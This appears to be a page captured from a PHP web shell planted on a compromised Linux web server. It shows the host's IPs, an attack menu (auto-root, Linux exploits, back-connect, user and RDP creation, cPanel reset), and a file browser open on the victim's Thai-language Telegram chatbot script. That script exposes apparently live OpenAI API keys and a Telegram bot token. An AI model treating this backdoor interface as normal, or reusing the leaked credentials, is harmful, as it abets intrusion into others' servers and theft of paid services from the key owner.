Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 52.15.253.72
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
py /
py123.testproject.work /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
venv
[ DIR ]
drwxr-xr-x
BankSineBot.py
14.07
KB
-rw-r--r--
botreadweb.log
2.24
MB
-rw-r--r--
botreadweb.py
2.44
KB
-rw-r--r--
favicon.ico
0
B
-rw-r--r--
hello.py
54
B
-rw-r--r--
image.jpg
9.9
KB
-rw-r--r--
main.py
437
B
-rw-r--r--
test_connections.py
2.75
KB
-rw-r--r--
udo crontab -e
1.51
KB
-rw-r--r--
udo systemctl enable py123.ser...
2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : BankSineBot.py
#/var/www/py/py123.testproject.work/BankSineBot.py #python3 BankSineBot.py #7438140547:AAHJqOJrAc9FcvZqe-hjFmjpvlHO8L_jvj4 # sk-lqKhO0UaWjynYZSZfsc9-OvjieZrzJjh5qQwEAtvjGT3BlbkFJptbuoN82TXg2znwbqiOcZg4XLuGBRXxQRpY_-8ip8A #!/usr/bin/env python3 # -*- coding: utf-8 -*- #!/usr/bin/env python3 # -*- coding: utf-8 -*- from telegram import Update from telegram.ext import ( ApplicationBuilder, CommandHandler, ContextTypes, MessageHandler, filters ) import openai from openai import OpenAI # ใช้คลาส OpenAI สำหรับเวอร์ชัน >=1.0.0 # เพิ่ม import สำหรับ OCR และการปรับปรุงภาพ from PIL import Image, ImageEnhance import pytesseract import os import math # กำหนด PATH สำหรับ Tesseract OCR (ตรวจสอบให้แน่ใจว่าตำแหน่งนี้ถูกต้อง) pytesseract.pytesseract.tesseract_cmd = '/usr/bin/tesseract' # ----------------------------------------------------------------------------- # (1) ตั้งค่า OpenAI API Key # ----------------------------------------------------------------------------- OPENAI_API_KEY = "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" client = OpenAI(api_key=OPENAI_API_KEY) # ----------------------------------------------------------------------------- # (2) ฟังก์ชัน Telegram Bot แต่ละส่วน # ----------------------------------------------------------------------------- async def start(update: Update, context: ContextTypes.DEFAULT_TYPE): """ฟังก์ชัน /start""" await update.message.reply_text( "สวัสดีครับ! ยินดีต้อนรับสู่ BDS BOT มีอะไรให้ช่วยไหม? 🤖" ) async def about(update: Update, context: ContextTypes.DEFAULT_TYPE): """ฟังก์ชัน /about""" await update.message.reply_text( "BDS BOT คือผู้ช่วย AI ที่พร้อมตอบคำถาม " "ด้วยแนวคิดปรัชญาและความเป็นกันเอง " "เพื่อให้คุณได้รับคำตอบที่รวดเร็วและเป็นธรรมชาติมากที่สุด 🤝" ) async def services(update: Update, context: ContextTypes.DEFAULT_TYPE): """ฟังก์ชัน /services""" await update.message.reply_text( "บริการหลักของเรา:\n" "• บริการให้คำปรึกษา SEO & พัฒนาเว็บไซต์\n" "• VPS Server Hosting สำหรับธุรกิจทุกขนาด\n" "• โซลูชันทางเทคโนโลยีอื่น ๆ อีกมากมาย 🌐" ) async def vps(update: Update, context: ContextTypes.DEFAULT_TYPE): """ฟังก์ชัน /vps""" await update.message.reply_text( "VPS Server Hosting ความเร็วสูง ⚡\n" "เหมาะสำหรับเว็บไซต์และแอปพลิเคชันที่ต้องการความเสถียร\n" "ติดตามรายละเอียดเพิ่มเติมได้ที่ https://www.banksdollarsine.com/" ) async def seo(update: Update, context: ContextTypes.DEFAULT_TYPE): """ฟังก์ชัน /seo""" await update.message.reply_text( "เรามีทีมงานผู้เชี่ยวชาญด้าน SEO 🏆\n" "พร้อมพัฒนาเว็บไซต์ให้ติดอันดับบนเครื่องมือค้นหา\n" "ดูรายละเอียดเพิ่มเติมได้ที่ https://www.banksdollarsine.com/" ) async def philosophy(update: Update, context: ContextTypes.DEFAULT_TYPE): """ฟังก์ชัน /philosophy""" await update.message.reply_text( "“การเรียนรู้ไม่มีที่สิ้นสุด การตั้งคำถามคือจุดเริ่มต้นแห่งปัญญา” — BDS BOT 🤔\n" "คุณมีแนวคิดปรัชญาหรือข้อสงสัยอะไรก็สามารถถามได้เลย!" ) async def website(update: Update, context: ContextTypes.DEFAULT_TYPE): """ฟังก์ชัน /website""" await update.message.reply_text( "เข้าไปเยี่ยมชมเว็บไซต์หลักของเราได้ที่:\n" "👉 https://www.banksdollarsine.com/ 👈\n" "มีข้อมูลบริการและบทความที่น่าสนใจเพียบ!" ) async def faqs(update: Update, context: ContextTypes.DEFAULT_TYPE): """ฟังก์ชัน /faqs""" await update.message.reply_text( "คำถามที่พบบ่อย (FAQs):\n" "• วิธีติดต่อทีมงาน?\n" "• ชำระค่าบริการอย่างไร?\n" "• ระยะเวลาการดำเนินการ?\n\n" "สามารถสอบถามเพิ่มเติมได้โดยตรงกับ BDS BOT หรือดูรายละเอียดในเว็บไซต์" ) async def subscribe(update: Update, context: ContextTypes.DEFAULT_TYPE): """ฟังก์ชัน /subscribe""" await update.message.reply_text( "ขอบคุณที่สนใจรับข้อมูลข่าวสารจากเรา\n" "กรุณาแจ้งอีเมลหรือช่องทางที่สะดวก เราจะติดต่อกลับให้เร็วที่สุดครับ!" ) # ----------------------------------------------------------------------------- # ฟังก์ชันเรียก OpenAI เพื่อสร้างคำตอบ (สำหรับข้อความที่เป็นข้อความหรือที่อ่านจากรูปภาพ) # ----------------------------------------------------------------------------- async def generate_response(prompt: str) -> str: """ เรียกใช้งานโมเดล gpt-4o-mini (หรืออื่น ๆ) ให้มีความเป็นปรัชญา ใส่อีโมจิพอเหมาะ และใส่คำว่า 'BDS BOT' เสมอ """ try: response = client.chat.completions.create( model="gpt-4o-mini", # ใช้โมเดลที่มีจริง เช่น gpt-4o-mini หรือ gpt-3.5-turbo messages=[ { "role": "system", "content": ( "You are BDS BOT, a friendly and philosophical AI assistant. " "Provide insightful and concise answers with a touch of philosophy. " "Use emojis where appropriate to enhance engagement, and always include the phrase 'BDS BOT' in your replies. " "Compiled in Thai with a summary" ) }, {"role": "user", "content": prompt} ], temperature=0.8, max_tokens=450, ) return response.choices[0].message.content.strip() except Exception as e: return f"An error occurred: {str(e)}" # ----------------------------------------------------------------------------- # เมื่อผู้ใช้ส่งข้อความปกติ (ไม่ใช่คำสั่ง) # ----------------------------------------------------------------------------- async def reply_to_message(update: Update, context: ContextTypes.DEFAULT_TYPE): user_message = update.message.text await update.message.reply_text("BDS BOT กำลังประมวลผล...") openai_response = await generate_response(user_message) await update.message.reply_text(openai_response) # ----------------------------------------------------------------------------- # เมื่อผู้ใช้ส่งรูปภาพเข้ามา # ----------------------------------------------------------------------------- async def reply_to_photo(update: Update, context: ContextTypes.DEFAULT_TYPE): await update.message.reply_text("BDS BOT กำลังประมวลผลรูปภาพ...") try: photo = update.message.photo[-1] file = await photo.get_file() file_path = "temp_image.jpg" await file.download_to_drive(file_path) image = Image.open(file_path) # --- Preprocessing ภาพ เพื่อรองรับทุกขนาด --- # 1. แปลงเป็น Grayscale image = image.convert("L") # 2. เพิ่มความคอนทราสต์ enhancer = ImageEnhance.Contrast(image) image = enhancer.enhance(2.0) # 3. ถ้าภาพมีขนาดเล็ก ใหญ่ขึ้นเพื่อให้ตัวอักษรชัดเจนขึ้น min_width, min_height = 800, 800 if image.width < min_width or image.height < min_height: # ป้องกันการหารด้วยศูนย์ (โดยปกติภาพมีขนาด > 0) if image.width == 0 or image.height == 0: raise ValueError("ขนาดของภาพไม่ถูกต้อง (มีค่า 0)") scale_factor = max(min_width / image.width, min_height / image.height) if not math.isfinite(scale_factor): scale_factor = 1.0 new_width = int(round(image.width * scale_factor)) new_height = int(round(image.height * scale_factor)) # รับประกันว่า new_width และ new_height ไม่ต่ำกว่าค่าขั้นต่ำ new_width = max(new_width, min_width) new_height = max(new_height, min_height) image = image.resize((new_width, new_height), Image.LANCZOS) # --------------------------------------------------- # ใช้ pytesseract อ่านข้อความจากรูปภาพ รองรับภาษาไทยและอังกฤษ extracted_text = pytesseract.image_to_string(image, lang="tha+eng") if not extracted_text.strip(): extracted_text = "ไม่พบข้อความในรูปภาพ" os.remove(file_path) response_text = await generate_response(extracted_text) await update.message.reply_text(response_text) except Exception as e: await update.message.reply_text(f"An error occurred while processing the image: {str(e)}") # ----------------------------------------------------------------------------- # /help # ----------------------------------------------------------------------------- async def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE): """ฟังก์ชัน /help""" await update.message.reply_text( "คำสั่งที่มีอยู่:\n" "/start - เริ่มต้นการใช้งาน\n" "/about - เกี่ยวกับ BDS BOT\n" "/services - บริการทั้งหมด\n" "/vps - บริการ VPS ของเรา\n" "/seo - บริการ SEO และการพัฒนาเว็บไซต์\n" "/philosophy - แชร์แนวคิดปรัชญา\n" "/website - เข้าชมเว็บไซต์หลัก\n" "/faqs - คำถามที่พบบ่อย\n" "/subscribe - สมัครรับข้อมูลข่าวสาร\n" "\n" "นอกจากนี้ คุณสามารถส่งข้อความหรือส่งรูปภาพมาเพื่อให้ BDS BOT ประมวลผลได้ด้วย!" ) # ----------------------------------------------------------------------------- # (3) ตั้งค่า Telegram Bot Token และสร้าง Application # ----------------------------------------------------------------------------- TELEGRAM_BOT_TOKEN = "7438140547:AAHJqOJrAc9FcvZqe-hjFmjpvlHO8L_jvj4" app = ApplicationBuilder().token(TELEGRAM_BOT_TOKEN).build() # ----------------------------------------------------------------------------- # (4) ผูกคำสั่งต่างๆ (Handlers) # ----------------------------------------------------------------------------- app.add_handler(CommandHandler("start", start)) app.add_handler(CommandHandler("help", help_command)) app.add_handler(CommandHandler("about", about)) app.add_handler(CommandHandler("services", services)) app.add_handler(CommandHandler("vps", vps)) app.add_handler(CommandHandler("seo", seo)) app.add_handler(CommandHandler("philosophy", philosophy)) app.add_handler(CommandHandler("website", website)) app.add_handler(CommandHandler("faqs", faqs)) app.add_handler(CommandHandler("subscribe", subscribe)) # จับข้อความทั่วไป app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, reply_to_message)) # จับข้อความรูปภาพ app.add_handler(MessageHandler(filters.PHOTO, reply_to_photo)) # ----------------------------------------------------------------------------- # (5) รันบอท # ----------------------------------------------------------------------------- if __name__ == "__main__": print("BankSineBot is running...") app.run_polling()
Close